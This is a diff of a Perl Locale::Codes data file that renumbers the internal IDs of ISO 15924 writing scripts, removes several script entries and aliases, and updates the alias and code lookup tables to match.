-   q(0119) => [
-      q(Naxi Geba (Nakhi Geba, 'Na-'Khi Ggo-baw)),
-      q(Naxi Geba),
+   q(0111) => [
+      q(Nakhi Geba ('Na-'Khi Ggo-baw, Naxi Geba)),
       q(Nakhi Geba),
       q('Na-'Khi Ggo-baw),
+      q(Naxi Geba),
       ],
-   q(0120) => [
+   q(0112) => [
       q(N'Ko),
       ],
-   q(0121) => [
+   q(0113) => [
       q(Nushu),
       ],
-   q(0122) => [
+   q(0114) => [
       q(Ogham),
       ],
-   q(0123) => [
+   q(0115) => [
       q(Ol Chiki (Ol Cemet, Ol, Santali)),
       q(Ol Chiki),
       q(Ol Cemet'),
       q(Ol),
       q(Santali),
       ],
-   q(0124) => [
+   q(0116) => [
       q(Old Turkic, Orkhon Runic),
       q(Old Turkic),
       q(Orkhon Runic),
       ],
-   q(0125) => [
-      q(Oriya (Odia)),
+   q(0117) => [
       q(Oriya),
-      q(Odia),
       ],
-   q(0126) => [
+   q(0118) => [
       q(Osage),
       ],
-   q(0127) => [
+   q(0119) => [
       q(Osmanya),
       ],
-   q(0128) => [
+   q(0120) => [
       q(Palmyrene),
       ],
-   q(0129) => [
+   q(0121) => [
       q(Pau Cin Hau),
       ],
-   q(0130) => [
+   q(0122) => [
       q(Old Permic),
       ],
-   q(0131) => [
+   q(0123) => [
       q(Phags-pa),
       ],
-   q(0132) => [
+   q(0124) => [
       q(Inscriptional Pahlavi),
       ],
-   q(0133) => [
+   q(0125) => [
       q(Psalter Pahlavi),
       ],
-   q(0134) => [
+   q(0126) => [
       q(Book Pahlavi),
       ],
-   q(0135) => [
+   q(0127) => [
       q(Phoenician),
       ],
-   q(0136) => [
+   q(0128) => [
       q(Miao (Pollard)),
       q(Miao),
       q(Pollard),
       ],
-   q(0137) => [
+   q(0129) => [
       q(Klingon (KLI pIqaD)),
       ],
-   q(0138) => [
+   q(0130) => [
       q(Inscriptional Parthian),
       ],
-   q(0139) => [
+   q(0131) => [
       q(Reserved for private use (start)),
       ],
-   q(0140) => [
+   q(0132) => [
       q(Reserved for private use (end)),
       ],
-   q(0141) => [
+   q(0133) => [
       q(Rejang (Redjang, Kaganga)),
       q(Rejang),
       q(Redjang),
       q(Kaganga),
       ],
-   q(0142) => [
-      q(Hanifi Rohingya),
-      ],
-   q(0143) => [
+   q(0134) => [
       q(Rongorongo),
       ],
-   q(0144) => [
+   q(0135) => [
       q(Runic),
       ],
-   q(0145) => [
+   q(0136) => [
       q(Samaritan),
       ],
-   q(0146) => [
+   q(0137) => [
       q(Sarati),
       ],
-   q(0147) => [
+   q(0138) => [
       q(Old South Arabian),
       ],
-   q(0148) => [
+   q(0139) => [
       q(Saurashtra),
       ],
-   q(0149) => [
+   q(0140) => [
       q(SignWriting),
       ],
-   q(0150) => [
+   q(0141) => [
       q(Shavian (Shaw)),
       q(Shavian),
       q(Shaw),
       ],
-   q(0151) => [
+   q(0142) => [
       q(Sharada, Sarada),
       q(Sharada),
       q(Sarada),
       ],
-   q(0152) => [
-      q(Shuishu),
-      ],
-   q(0153) => [
+   q(0143) => [
       q(Siddham, Siddham, Siddhamatrka),
       q(Siddham),
       q(Siddhamatrka),
       ],
-   q(0154) => [
+   q(0144) => [
       q(Khudawadi, Sindhi),
       q(Khudawadi),
       q(Sindhi),
       ],
-   q(0155) => [
+   q(0145) => [
       q(Sinhala),
       ],
-   q(0156) => [
-      q(Sogdian),
-      ],
-   q(0157) => [
-      q(Old Sogdian),
-      ],
-   q(0158) => [
+   q(0146) => [
       q(Sora Sompeng),
       ],
-   q(0159) => [
-      q(Soyombo),
-      ],
-   q(0160) => [
+   q(0147) => [
       q(Sundanese),
       ],
-   q(0161) => [
+   q(0148) => [
       q(Syloti Nagri),
       ],
-   q(0162) => [
+   q(0149) => [
       q(Syriac),
       ],
-   q(0163) => [
+   q(0150) => [
       q(Syriac (Estrangelo variant)),
       ],
-   q(0164) => [
+   q(0151) => [
       q(Syriac (Western variant)),
       ],
-   q(0165) => [
+   q(0152) => [
       q(Syriac (Eastern variant)),
       ],
-   q(0166) => [
+   q(0153) => [
       q(Tagbanwa),
       ],
-   q(0167) => [
+   q(0154) => [
       q(Takri, Takri, Tankri),
       q(Takri),
       q(Tankri),
       ],
-   q(0168) => [
+   q(0155) => [
       q(Tai Le),
       ],
-   q(0169) => [
+   q(0156) => [
       q(New Tai Lue),
       ],
-   q(0170) => [
+   q(0157) => [
       q(Tamil),
       ],
-   q(0171) => [
+   q(0158) => [
       q(Tangut),
       ],
-   q(0172) => [
+   q(0159) => [
       q(Tai Viet),
       ],
-   q(0173) => [
+   q(0160) => [
       q(Telugu),
       ],
-   q(0174) => [
+   q(0161) => [
       q(Tengwar),
       ],
-   q(0175) => [
+   q(0162) => [
       q(Tifinagh (Berber)),
       q(Tifinagh),
       q(Berber),
       ],
-   q(0176) => [
+   q(0163) => [
       q(Tagalog (Baybayin, Alibata)),
       q(Tagalog),
       q(Baybayin),
       q(Alibata),
       ],
-   q(0177) => [
+   q(0164) => [
       q(Thaana),
       ],
-   q(0178) => [
+   q(0165) => [
       q(Thai),
       ],
-   q(0179) => [
+   q(0166) => [
       q(Tibetan),
       ],
-   q(0180) => [
+   q(0167) => [
       q(Tirhuta),
       ],
-   q(0181) => [
+   q(0168) => [
       q(Ugaritic),
       ],
-   q(0182) => [
+   q(0169) => [
       q(Vai),
       ],
-   q(0183) => [
+   q(0170) => [
       q(Visible Speech),
       ],
-   q(0184) => [
+   q(0171) => [
       q(Warang Citi (Varang Kshiti)),
       q(Warang Citi),
       q(Varang Kshiti),
       ],
-   q(0185) => [
-      q(Wancho),
-      ],
-   q(0186) => [
+   q(0172) => [
       q(Woleai),
       ],
-   q(0187) => [
+   q(0173) => [
       q(Old Persian),
       ],
-   q(0188) => [
+   q(0174) => [
       q(Cuneiform, Sumero-Akkadian),
       q(Sumero-Akkadian cuneiform),
       ],
-   q(0189) => [
+   q(0175) => [
       q(Yi),
       ],
-   q(0190) => [
-      q(Zanabazar Square (Zanabazarin Dorboljin Useg, Xewtee Dorboljin Bicig, Horizontal Square Script)),
-      q(Zanabazar Square),
-      q(Zanabazarin Dorboljin Useg),
-      q(Xewtee Dorboljin Bicig),
-      q(Horizontal Square Script),
-      ],
-   q(0191) => [
+   q(0176) => [
       q(Code for inherited script),
       ],
-   q(0192) => [
+   q(0177) => [
       q(Mathematical notation),
       ],
-   q(0193) => [
+   q(0178) => [
       q(Symbols (Emoji variant)),
       ],
-   q(0194) => [
+   q(0179) => [
       q(Symbols),
       ],
 };
 
 $Locale::Codes::Data{'script'}{'alias2id'} = {
    q('na-'khi ggo-baw) => [
-      q(0119),
-      q(3),
+      q(0111),
+      q(2),
       ],
    q(adlam) => [
       q(0001),
@@ -716,19 +659,19 @@ $Locale::Codes::Data{'script'}{'alias2id'} = {
       q(0),
       ],
    q(alibata) => [
-      q(0176),
+      q(0163),
       q(3),
       ],
    q(anatolian hieroglyphs) => [
-      q(0061),
+      q(0057),
       q(1),
       ],
    q(anatolian hieroglyphs (luwian hieroglyphs, hittite hieroglyphs)) => [
-      q(0061),
+      q(0057),
       q(0),
       ],
    q(ancient north arabian) => [
-      q(0115),
+      q(0108),
       q(2),
       ],
    q(arabic) => [
@@ -755,10 +698,6 @@ $Locale::Codes::Data{'script'}{'alias2id'} = {
       q(0011),
       q(0),
       ],
-   q(bangla) => [
-      q(0014),
-      q(2),
-      ],
    q(bassa vah) => [
       q(0012),
       q(0),
@@ -768,19 +707,15 @@ $Locale::Codes::Data{'script'}{'alias2id'} = {
       q(0),
       ],
    q(baybayin) => [
-      q(0176),
+      q(0163),
       q(2),
       ],
    q(bengali) => [
-      q(0014),
-      q(1),
-      ],
-   q(bengali (bangla)) => [
       q(0014),
       q(0),
       ],
    q(berber) => [
-      q(0175),
+      q(0162),
       q(2),
       ],
    q(bhaiksuki) => [
@@ -792,7 +727,7 @@ $Locale::Codes::Data{'script'}{'alias2id'} = {
       q(0),
       ],
    q(book pahlavi) => [
-      q(0134),
+      q(0126),
       q(0),
       ],
    q(bopomofo) => [
@@ -816,7 +751,7 @@ $Locale::Codes::Data{'script'}{'alias2id'} = {
       q(0),
       ],
    q(burmese) => [
-      q(0114),
+      q(0107),
       q(2),
       ],
    q(carian) => [
@@ -844,7 +779,7 @@ $Locale::Codes::Data{'script'}{'alias2id'} = {
       q(0),
       ],
    q(code for inherited script) => [
-      q(0191),
+      q(0176),
       q(0),
       ],
    q(coptic) => [
@@ -852,199 +787,179 @@ $Locale::Codes::Data{'script'}{'alias2id'} = {
       q(0),
       ],
    q(cuneiform, sumero-akkadian) => [
-      q(0188),
-      q(0),
-      ],
-   q(cypriot syllabary) => [
-      q(0030),
+      q(0174),
       q(0),
       ],
-   q(cypro-minoan) => [
+   q(cypriot) => [
       q(0029),
       q(0),
       ],
    q(cyrillic) => [
-      q(0031),
+      q(0030),
       q(0),
       ],
    q(cyrillic (old church slavonic variant)) => [
-      q(0032),
+      q(0031),
       q(0),
       ],
    q(deseret) => [
-      q(0035),
+      q(0033),
       q(1),
       ],
    q(deseret (mormon)) => [
-      q(0035),
+      q(0033),
       q(0),
       ],
    q(devanagari) => [
-      q(0033),
+      q(0032),
       q(1),
       ],
    q(devanagari (nagari)) => [
-      q(0033),
-      q(0),
-      ],
-   q(dogra) => [
-      q(0034),
+      q(0032),
       q(0),
       ],
    q(duployan shorthand) => [
-      q(0036),
+      q(0034),
       q(1),
       ],
    q(duployan shorthand, duployan stenography) => [
-      q(0036),
+      q(0034),
       q(0),
       ],
    q(duployan stenography) => [
-      q(0036),
+      q(0034),
       q(2),
       ],
    q(egyptian demotic) => [
-      q(0037),
+      q(0035),
       q(0),
       ],
    q(egyptian hieratic) => [
-      q(0038),
+      q(0036),
       q(0),
       ],
    q(egyptian hieroglyphs) => [
-      q(0039),
+      q(0037),
       q(0),
       ],
    q(elbasan) => [
-      q(0040),
+      q(0038),
       q(0),
       ],
    q(ethiopic) => [
-      q(0041),
+      q(0039),
       q(1),
       ],
    q(ethiopic (geez)) => [
-      q(0041),
+      q(0039),
       q(0),
       ],
    q(fraser) => [
-      q(0093),
+      q(0088),
       q(2),
       ],
    q(ge'ez) => [
-      q(0041),
+      q(0039),
       q(2),
       ],
-   q(georgian (mkhedruli and mtavruli)) => [
-      q(0043),
+   q(georgian (mkhedruli)) => [
+      q(0041),
       q(0),
       ],
    q(glagolitic) => [
-      q(0044),
+      q(0042),
       q(0),
       ],
    q(gothic) => [
-      q(0047),
+      q(0043),
       q(0),
       ],
    q(grantha) => [
-      q(0048),
+      q(0044),
       q(0),
       ],
    q(greek) => [
-      q(0049),
+      q(0045),
       q(0),
       ],
    q(gujarati) => [
-      q(0050),
-      q(0),
-      ],
-   q(gunjala gondi) => [
-      q(0045),
+      q(0046),
       q(0),
       ],
    q(gurmukhi) => [
-      q(0051),
+      q(0047),
       q(0),
       ],
    q(han) => [
-      q(0054),
+      q(0050),
       q(1),
       ],
    q(han (hanzi, kanji, hanja)) => [
-      q(0054),
+      q(0050),
       q(0),
       ],
    q(han (simplified variant)) => [
-      q(0056),
+      q(0052),
       q(0),
       ],
    q(han (traditional variant)) => [
-      q(0057),
+      q(0053),
       q(0),
       ],
    q(han with bopomofo (alias for han + bopomofo)) => [
-      q(0052),
+      q(0048),
       q(0),
       ],
    q(hangeul) => [
-      q(0053),
+      q(0049),
       q(2),
       ],
    q(hangul) => [
-      q(0053),
+      q(0049),
       q(1),
       ],
    q(hangul (hangul, hangeul)) => [
-      q(0053),
-      q(0),
-      ],
-   q(hanifi rohingya) => [
-      q(0142),
+      q(0049),
       q(0),
       ],
    q(hanja) => [
-      q(0054),
+      q(0050),
       q(4),
       ],
    q(hanunoo) => [
-      q(0055),
+      q(0051),
       q(1),
       ],
    q(hanunoo (hanunoo)) => [
-      q(0055),
+      q(0051),
       q(0),
       ],
    q(hanzi) => [
-      q(0054),
+      q(0050),
       q(2),
       ],
    q(harappan) => [
-      q(0066),
+      q(0061),
       q(2),
       ],
    q(hatran) => [
-      q(0058),
+      q(0054),
       q(0),
       ],
    q(hebrew) => [
-      q(0059),
+      q(0055),
       q(0),
       ],
    q(hiragana) => [
-      q(0060),
+      q(0056),
       q(0),
       ],
    q(hittite hieroglyphs) => [
-      q(0061),
+      q(0057),
       q(3),
       ],
-   q(horizontal square script) => [
-      q(0190),
-      q(4),
-      ],
    q(hungarian runic) => [
-      q(0065),
+      q(0060),
       q(2),
       ],
    q(imperial aramaic) => [
@@ -1052,671 +967,611 @@ $Locale::Codes::Data{'script'}{'alias2id'} = {
       q(0),
       ],
    q(indus) => [
-      q(0066),
+      q(0061),
       q(1),
       ],
    q(indus (harappan)) => [
-      q(0066),
+      q(0061),
       q(0),
       ],
    q(inscriptional pahlavi) => [
-      q(0132),
+      q(0124),
       q(0),
       ],
    q(inscriptional parthian) => [
-      q(0138),
+      q(0130),
       q(0),
       ],
    q(jamo (alias for jamo subset of hangul)) => [
-      q(0068),
+      q(0063),
       q(0),
       ],
    q(japanese (alias for han + hiragana + katakana)) => [
-      q(0070),
+      q(0065),
       q(0),
       ],
    q(japanese syllabaries (alias for hiragana + katakana)) => [
-      q(0064),
+      q(0059),
       q(0),
       ],
    q(javanese) => [
-      q(0069),
+      q(0064),
       q(0),
       ],
    q(jurchen) => [
-      q(0071),
+      q(0066),
       q(0),
       ],
    q(kaganga) => [
-      q(0141),
+      q(0133),
       q(3),
       ],
    q(kaithi) => [
-      q(0082),
+      q(0077),
       q(0),
       ],
    q(kanji) => [
-      q(0054),
+      q(0050),
       q(3),
       ],
    q(kannada) => [
-      q(0079),
+      q(0074),
       q(0),
       ],
    q(katakana) => [
-      q(0073),
+      q(0068),
       q(0),
       ],
    q(kayah li) => [
-      q(0072),
+      q(0067),
       q(0),
       ],
    q(kharoshthi) => [
-      q(0074),
+      q(0069),
       q(0),
       ],
    q(khitan large script) => [
-      q(0077),
+      q(0072),
       q(0),
       ],
    q(khitan small script) => [
-      q(0078),
+      q(0073),
       q(0),
       ],
    q(khmer) => [
-      q(0075),
+      q(0070),
       q(0),
       ],
    q(khojki) => [
-      q(0076),
+      q(0071),
       q(0),
       ],
    q(khudawadi) => [
-      q(0154),
+      q(0144),
       q(1),
       ],
    q(khudawadi, sindhi) => [
-      q(0154),
+      q(0144),
       q(0),
       ],
    q(khutsuri (asomtavruli and nuskhuri)) => [
-      q(0042),
+      q(0040),
       q(0),
       ],
    q(klingon (kli piqad)) => [
-      q(0137),
+      q(0129),
       q(0),
       ],
    q(korean (alias for hangul + han)) => [
-      q(0080),
+      q(0075),
       q(0),
       ],
    q(kpelle) => [
-      q(0081),
+      q(0076),
       q(0),
       ],
    q(lanna) => [
-      q(0083),
+      q(0078),
       q(2),
       ],
    q(lao) => [
-      q(0084),
+      q(0079),
       q(0),
       ],
    q(latin) => [
-      q(0087),
+      q(0082),
       q(0),
       ],
    q(latin (fraktur variant)) => [
-      q(0085),
+      q(0080),
       q(0),
       ],
    q(latin (gaelic variant)) => [
-      q(0086),
+      q(0081),
       q(0),
       ],
    q(leke) => [
-      q(0088),
+      q(0083),
       q(0),
       ],
    q(lepcha) => [
-      q(0089),
+      q(0084),
       q(1),
       ],
    q(lepcha (rong)) => [
-      q(0089),
+      q(0084),
       q(0),
       ],
    q(limbu) => [
-      q(0090),
+      q(0085),
       q(0),
       ],
    q(linear a) => [
-      q(0091),
+      q(0086),
       q(0),
       ],
    q(linear b) => [
-      q(0092),
+      q(0087),
       q(0),
       ],
    q(lisu) => [
-      q(0093),
+      q(0088),
       q(1),
       ],
    q(lisu (fraser)) => [
-      q(0093),
+      q(0088),
       q(0),
       ],
    q(loma) => [
-      q(0094),
+      q(0089),
       q(0),
       ],
    q(luwian hieroglyphs) => [
-      q(0061),
+      q(0057),
       q(2),
       ],
    q(lycian) => [
-      q(0095),
+      q(0090),
       q(0),
       ],
    q(lydian) => [
-      q(0096),
+      q(0091),
       q(0),
       ],
    q(mahajani) => [
-      q(0097),
-      q(0),
-      ],
-   q(makasar) => [
-      q(0098),
+      q(0092),
       q(0),
       ],
    q(malayalam) => [
-      q(0107),
+      q(0100),
       q(0),
       ],
    q(mandaean) => [
-      q(0099),
+      q(0093),
       q(2),
       ],
    q(mandaic) => [
-      q(0099),
+      q(0093),
       q(1),
       ],
    q(mandaic, mandaean) => [
-      q(0099),
+      q(0093),
       q(0),
       ],
    q(manichaean) => [
-      q(0100),
+      q(0094),
       q(0),
       ],
    q(marchen) => [
-      q(0101),
-      q(0),
-      ],
-   q(masaram gondi) => [
-      q(0046),
+      q(0095),
       q(0),
       ],
    q(mathematical notation) => [
-      q(0192),
+      q(0177),
       q(0),
       ],
    q(mayan hieroglyphs) => [
-      q(0102),
-      q(0),
-      ],
-   q(medefaidrin) => [
-      q(0103),
-      q(1),
-      ],
-   q(medefaidrin (oberi okaime, oberi okaime)) => [
-      q(0103),
+      q(0096),
       q(0),
       ],
    q(meetei) => [
-      q(0112),
+      q(0105),
       q(3),
       ],
    q(meitei mayek) => [
-      q(0112),
+      q(0105),
       q(1),
       ],
    q(meitei mayek (meithei, meetei)) => [
-      q(0112),
+      q(0105),
       q(0),
       ],
    q(meithei) => [
-      q(0112),
+      q(0105),
       q(2),
       ],
    q(mende kikakui) => [
-      q(0104),
+      q(0097),
       q(0),
       ],
    q(meroitic cursive) => [
-      q(0105),
+      q(0098),
       q(0),
       ],
    q(meroitic hieroglyphs) => [
-      q(0106),
+      q(0099),
       q(0),
       ],
    q(miao) => [
-      q(0136),
+      q(0128),
       q(1),
       ],
    q(miao (pollard)) => [
-      q(0136),
+      q(0128),
       q(0),
       ],
    q(modi) => [
-      q(0108),
+      q(0101),
       q(1),
       ],
    q(modi, modi) => [
-      q(0108),
+      q(0101),
       q(0),
       ],
    q(mongolian) => [
-      q(0109),
+      q(0102),
       q(0),
       ],
    q(moon) => [
-      q(0110),
+      q(0103),
       q(1),
       ],
    q(moon (moon code, moon script, moon type)) => [
-      q(0110),
+      q(0103),
       q(0),
       ],
    q(moon code) => [
-      q(0110),
+      q(0103),
       q(2),
       ],
    q(moon script) => [
-      q(0110),
+      q(0103),
       q(3),
       ],
    q(moon type) => [
-      q(0110),
+      q(0103),
       q(4),
       ],
    q(mormon) => [
-      q(0035),
+      q(0033),
       q(2),
       ],
    q(mro) => [
-      q(0111),
+      q(0104),
       q(1),
       ],
    q(mro, mru) => [
-      q(0111),
+      q(0104),
       q(0),
       ],
    q(mru) => [
-      q(0111),
+      q(0104),
       q(2),
       ],
    q(multani) => [
-      q(0113),
+      q(0106),
       q(0),
       ],
    q(myanmar) => [
-      q(0114),
+      q(0107),
       q(1),
       ],
    q(myanmar (burmese)) => [
-      q(0114),
+      q(0107),
       q(0),
       ],
    q(n'ko) => [
-      q(0120),
+      q(0112),
       q(0),
       ],
    q(nabataean) => [
-      q(0116),
+      q(0109),
       q(0),
       ],
    q(nagari) => [
-      q(0033),
+      q(0032),
       q(2),
       ],
    q(nakhi geba) => [
-      q(0119),
-      q(2),
-      ],
-   q(nakhi tomba) => [
-      q(0118),
-      q(2),
-      ],
-   q(naxi dongba) => [
-      q(0118),
+      q(0111),
       q(1),
       ],
-   q(naxi dongba (nakhi tomba)) => [
-      q(0118),
+   q(nakhi geba ('na-'khi ggo-baw, naxi geba)) => [
+      q(0111),
       q(0),
       ],
    q(naxi geba) => [
-      q(0119),
-      q(1),
-      ],
-   q(naxi geba (nakhi geba, 'na-'khi ggo-baw)) => [
-      q(0119),
-      q(0),
+      q(0111),
+      q(3),
       ],
    q(nepala lipi) => [
-      q(0117),
+      q(0110),
       q(4),
       ],
    q(new tai lue) => [
-      q(0169),
+      q(0156),
       q(0),
       ],
    q(newa) => [
-      q(0117),
+      q(0110),
       q(1),
       ],
    q(newa, newar, newari, nepala lipi) => [
-      q(0117),
+      q(0110),
       q(0),
       ],
    q(newar) => [
-      q(0117),
+      q(0110),
       q(2),
       ],
    q(newari) => [
-      q(0117),
+      q(0110),
       q(3),
       ],
    q(nushu) => [
-      q(0121),
-      q(0),
-      ],
-   q(nyiakeng puachue hmong) => [
-      q(0063),
+      q(0113),
       q(0),
       ],
-   q(oberi okaime) => [
-      q(0103),
-      q(2),
-      ],
-   q(odia) => [
-      q(0125),
-      q(2),
-      ],
    q(ogham) => [
-      q(0122),
+      q(0114),
       q(0),
       ],
    q(ol) => [
-      q(0123),
+      q(0115),
       q(3),
       ],
    q(ol cemet') => [
-      q(0123),
+      q(0115),
       q(2),
       ],
    q(ol chiki) => [
-      q(0123),
+      q(0115),
       q(1),
       ],
    q(ol chiki (ol cemet, ol, santali)) => [
-      q(0123),
+      q(0115),
       q(0),
       ],
    q(old hungarian) => [
-      q(0065),
+      q(0060),
       q(1),
       ],
    q(old hungarian (hungarian runic)) => [
-      q(0065),
+      q(0060),
       q(0),
       ],
    q(old italic (etruscan, oscan, etc.)) => [
-      q(0067),
+      q(0062),
       q(0),
       ],
    q(old north arabian) => [
-      q(0115),
+      q(0108),
       q(1),
       ],
    q(old north arabian (ancient north arabian)) => [
-      q(0115),
+      q(0108),
       q(0),
       ],
    q(old permic) => [
-      q(0130),
+      q(0122),
       q(0),
       ],
    q(old persian) => [
-      q(0187),
-      q(0),
-      ],
-   q(old sogdian) => [
-      q(0157),
+      q(0173),
       q(0),
       ],
    q(old south arabian) => [
-      q(0147),
+      q(0138),
       q(0),
       ],
    q(old turkic) => [
-      q(0124),
+      q(0116),
       q(1),
       ],
    q(old turkic, orkhon runic) => [
-      q(0124),
+      q(0116),
       q(0),
       ],
    q(oriya) => [
-      q(0125),
-      q(1),
-      ],
-   q(oriya (odia)) => [
-      q(0125),
+      q(0117),
       q(0),
       ],
    q(orkhon runic) => [
-      q(0124),
+      q(0116),
       q(2),
       ],
    q(osage) => [
-      q(0126),
+      q(0118),
       q(0),
       ],
    q(osmanya) => [
-      q(0127),
+      q(0119),
       q(0),
       ],
    q(pahawh hmong) => [
-      q(0062),
+      q(0058),
       q(0),
       ],
    q(palmyrene) => [
-      q(0128),
+      q(0120),
       q(0),
       ],
    q(pau cin hau) => [
-      q(0129),
+      q(0121),
       q(0),
       ],
    q(phags-pa) => [
-      q(0131),
+      q(0123),
       q(0),
       ],
    q(phoenician) => [
-      q(0135),
+      q(0127),
       q(0),
       ],
    q(pollard) => [
-      q(0136),
+      q(0128),
       q(2),
       ],
    q(psalter pahlavi) => [
-      q(0133),
+      q(0125),
       q(0),
       ],
    q(redjang) => [
-      q(0141),
+      q(0133),
       q(2),
       ],
    q(rejang) => [
-      q(0141),
+      q(0133),
       q(1),
       ],
    q(rejang (redjang, kaganga)) => [
-      q(0141),
+      q(0133),
       q(0),
       ],
    q(reserved for private use (end)) => [
-      q(0140),
+      q(0132),
       q(0),
       ],
    q(reserved for private use (start)) => [
-      q(0139),
+      q(0131),
       q(0),
       ],
    q(rong) => [
-      q(0089),
+      q(0084),
       q(2),
       ],
    q(rongorongo) => [
-      q(0143),
+      q(0134),
       q(0),
       ],
    q(runic) => [
-      q(0144),
+      q(0135),
       q(0),
       ],
    q(samaritan) => [
-      q(0145),
+      q(0136),
       q(0),
       ],
    q(santali) => [
-      q(0123),
+      q(0115),
       q(4),
       ],
    q(sarada) => [
-      q(0151),
+      q(0142),
       q(2),
       ],
    q(sarati) => [
-      q(0146),
+      q(0137),
       q(0),
       ],
    q(saurashtra) => [
-      q(0148),
+      q(0139),
       q(0),
       ],
    q(sharada) => [
-      q(0151),
+      q(0142),
       q(1),
       ],
    q(sharada, sarada) => [
-      q(0151),
+      q(0142),
       q(0),
       ],
    q(shavian) => [
-      q(0150),
+      q(0141),
       q(1),
       ],
    q(shavian (shaw)) => [
-      q(0150),
+      q(0141),
       q(0),
       ],
    q(shaw) => [
-      q(0150),
-      q(2),
-      ],
-   q(shuishu) => [
-      q(0152),
-      q(0),
+      q(0141),
+      q(2),
       ],
    q(siddham) => [
-      q(0153),
+      q(0143),
       q(1),
       ],
    q(siddham, siddham, siddhamatrka) => [
-      q(0153),
+      q(0143),
       q(0),
       ],
    q(siddhamatrka) => [
-      q(0153),
+      q(0143),
       q(2),
       ],
    q(signwriting) => [
-      q(0149),
+      q(0140),
       q(0),
       ],
    q(sindhi) => [
-      q(0154),
+      q(0144),
       q(2),
       ],
    q(sinhala) => [
-      q(0155),
-      q(0),
-      ],
-   q(sogdian) => [
-      q(0156),
+      q(0145),
       q(0),
       ],
    q(sora sompeng) => [
-      q(0158),
-      q(0),
-      ],
-   q(soyombo) => [
-      q(0159),
+      q(0146),
       q(0),
       ],
    q(sumero-akkadian cuneiform) => [
-      q(0188),
+      q(0174),
       q(1),
       ],
    q(sundanese) => [
-      q(0160),
+      q(0147),
       q(0),
       ],
    q(syloti nagri) => [
-      q(0161),
+      q(0148),
       q(0),
       ],
    q(symbols) => [
-      q(0194),
+      q(0179),
       q(0),
       ],
    q(symbols (emoji variant)) => [
-      q(0193),
+      q(0178),
       q(0),
       ],
    q(syriac) => [
-      q(0162),
+      q(0149),
       q(0),
       ],
    q(syriac (eastern variant)) => [
-      q(0165),
+      q(0152),
       q(0),
       ],
    q(syriac (estrangelo variant)) => [
-      q(0163),
+      q(0150),
       q(0),
       ],
    q(syriac (western variant)) => [
-      q(0164),
+      q(0151),
       q(0),
       ],
    q(tagalog) => [
-      q(0176),
+      q(0163),
       q(1),
       ],
    q(tagalog (baybayin, alibata)) => [
-      q(0176),
+      q(0163),
       q(0),
       ],
    q(tagbanwa) => [
-      q(0166),
+      q(0153),
       q(0),
       ],
    q(tai ahom) => [
@@ -1724,75 +1579,75 @@ $Locale::Codes::Data{'script'}{'alias2id'} = {
       q(2),
       ],
    q(tai le) => [
-      q(0168),
+      q(0155),
       q(0),
       ],
    q(tai tham) => [
-      q(0083),
+      q(0078),
       q(1),
       ],
    q(tai tham (lanna)) => [
-      q(0083),
+      q(0078),
       q(0),
       ],
    q(tai viet) => [
-      q(0172),
+      q(0159),
       q(0),
       ],
    q(takri) => [
-      q(0167),
+      q(0154),
       q(1),
       ],
    q(takri, takri, tankri) => [
-      q(0167),
+      q(0154),
       q(0),
       ],
    q(tamil) => [
-      q(0170),
+      q(0157),
       q(0),
       ],
    q(tangut) => [
-      q(0171),
+      q(0158),
       q(0),
       ],
    q(tankri) => [
-      q(0167),
+      q(0154),
       q(2),
       ],
    q(telugu) => [
-      q(0173),
+      q(0160),
       q(0),
       ],
    q(tengwar) => [
-      q(0174),
+      q(0161),
       q(0),
       ],
    q(thaana) => [
-      q(0177),
+      q(0164),
       q(0),
       ],
    q(thai) => [
-      q(0178),
+      q(0165),
       q(0),
       ],
    q(tibetan) => [
-      q(0179),
+      q(0166),
       q(0),
       ],
    q(tifinagh) => [
-      q(0175),
+      q(0162),
       q(1),
       ],
    q(tifinagh (berber)) => [
-      q(0175),
+      q(0162),
       q(0),
       ],
    q(tirhuta) => [
-      q(0180),
+      q(0167),
       q(0),
       ],
    q(ugaritic) => [
-      q(0181),
+      q(0168),
       q(0),
       ],
    q(unified canadian aboriginal syllabics) => [
@@ -1800,53 +1655,33 @@ $Locale::Codes::Data{'script'}{'alias2id'} = {
       q(0),
       ],
    q(vai) => [
-      q(0182),
+      q(0169),
       q(0),
       ],
    q(varang kshiti) => [
-      q(0184),
+      q(0171),
       q(2),
       ],
    q(visible speech) => [
-      q(0183),
-      q(0),
-      ],
-   q(wancho) => [
-      q(0185),
+      q(0170),
       q(0),
       ],
    q(warang citi) => [
-      q(0184),
+      q(0171),
       q(1),
       ],
    q(warang citi (varang kshiti)) => [
-      q(0184),
+      q(0171),
       q(0),
       ],
    q(woleai) => [
-      q(0186),
+      q(0172),
       q(0),
       ],
-   q(xewtee dorboljin bicig) => [
-      q(0190),
-      q(3),
-      ],
    q(yi) => [
-      q(0189),
-      q(0),
-      ],
-   q(zanabazar square) => [
-      q(0190),
-      q(1),
-      ],
-   q(zanabazar square (zanabazarin dorboljin useg, xewtee dorboljin bicig, horizontal square script)) => [
-      q(0190),
+      q(0175),
       q(0),
       ],
-   q(zanabazarin dorboljin useg) => [
-      q(0190),
-      q(2),
-      ],
 };
 
 $Locale::Codes::Data{'script'}{'code2id'} = {
@@ -1905,7 +1740,7 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          ],
       q(Beng) => [
          q(0014),
-         q(1),
+         q(0),
          ],
       q(Bhks) => [
          q(0015),
@@ -1963,742 +1798,678 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0028),
          q(0),
          ],
-      q(Cpmn) => [
-         q(0029),
-         q(0),
-         ],
       q(Cprt) => [
-         q(0030),
+         q(0029),
          q(0),
          ],
       q(Cyrl) => [
-         q(0031),
+         q(0030),
          q(0),
          ],
       q(Cyrs) => [
-         q(0032),
+         q(0031),
          q(0),
          ],
       q(Deva) => [
-         q(0033),
+         q(0032),
          q(1),
          ],
-      q(Dogr) => [
-         q(0034),
-         q(0),
-         ],
       q(Dsrt) => [
-         q(0035),
+         q(0033),
          q(1),
          ],
       q(Dupl) => [
-         q(0036),
+         q(0034),
          q(1),
          ],
       q(Egyd) => [
-         q(0037),
+         q(0035),
          q(0),
          ],
       q(Egyh) => [
-         q(0038),
+         q(0036),
          q(0),
          ],
       q(Egyp) => [
-         q(0039),
+         q(0037),
          q(0),
          ],
       q(Elba) => [
-         q(0040),
+         q(0038),
          q(0),
          ],
       q(Ethi) => [
-         q(0041),
+         q(0039),
          q(1),
          ],
       q(Geok) => [
-         q(0042),
+         q(0040),
          q(0),
          ],
       q(Geor) => [
-         q(0043),
+         q(0041),
          q(0),
          ],
       q(Glag) => [
-         q(0044),
-         q(0),
-         ],
-      q(Gong) => [
-         q(0045),
-         q(0),
-         ],
-      q(Gonm) => [
-         q(0046),
+         q(0042),
          q(0),
          ],
